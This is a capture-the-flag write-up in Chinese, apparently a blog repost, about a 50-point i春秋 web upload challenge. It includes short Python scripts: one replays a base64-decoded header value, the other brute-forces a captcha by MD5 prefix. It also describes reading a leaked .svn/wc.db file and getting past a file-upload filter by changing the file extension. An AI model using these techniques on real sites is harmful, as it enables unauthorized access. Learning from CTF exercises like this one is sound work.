Web-Upload[i春秋][50pt]

打开链接–
Hi,CTFer!u should be a fast man:)
日常看源码,没啥有用滴信息。抓包,欸有点东西。
这里写图片描述
虽然看起来flag应该是base64编码的,当时我也懒得解了,反正和解密了再传结果一样的,会告诉你要fast,所以看了那一篇大佬写的wp,上脚本跑。

import base64,requests
def main():
    a = requests.session()
    b = a.get("http://406df0979135470a80c2423a4fc0383cba38e7fc29b044f6.game.ichunqiu.com/")
    key1 = b.headers["flag"]
    c = base64.b64decode(key1)
    d = str(c).split(':')
    key = base64.b64decode(d[1])
    body = {"ichunqiu":key}
    f = a.post("http://406df0979135470a80c2423a4fc0383cba38e7fc29b044f6.game.ichunqiu.com/",data=body)
    print (f.text)
if __name__ == '__main__':
    main()

跑出来之后给了一个路径- -
这里写图片描述
进去之后。emmmmm…
这里写图片描述
被这个卡哇伊的妹子萌到了。qaq- -
这里写图片描述
登陆界面除了username和password,还有就是这个验证码,根据提示,该验证码MD5加密后前六位是493495,所以放脚本跑- -

#coding:utf-8
import hashlib
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):
    for i in range(1,99999999):
        if md5(i)[0:6]  == str(s):
            print(i)
            exit(0)
if __name__ == '__main__':
    main("493495")

至于username嘛,大佬分析的是SVN源码泄漏漏洞,直接访问上一个地址+.svn/wc.db就可以看到- -
这里写图片描述
密码随便填,验证码跑个几分钟出来了,那就登进去看看咯- -
这里写图片描述
看到一个.php文件,走进去看看咯- - 这里写图片描述
文件上传欸,第一反应就是0x00截断。果断上传了一个图片,成功保存了,传来传去貌似没啥问题。最终,大佬轻松表示要改后缀名为.pnt -_-
改好后缀名之后,拿到了flag。
这里写图片描述
然而,提交之后居然是错误的,重新做了一遍拿到的结果也还是一样滴,无比绝望啊。是在下输了-_-这里写图片描述

我看得是一脸懵逼啊,这真的是50pt的题?听,心碎的声音2333

猜你喜欢

转载自blog.csdn.net/Laurel_60/article/details/81435647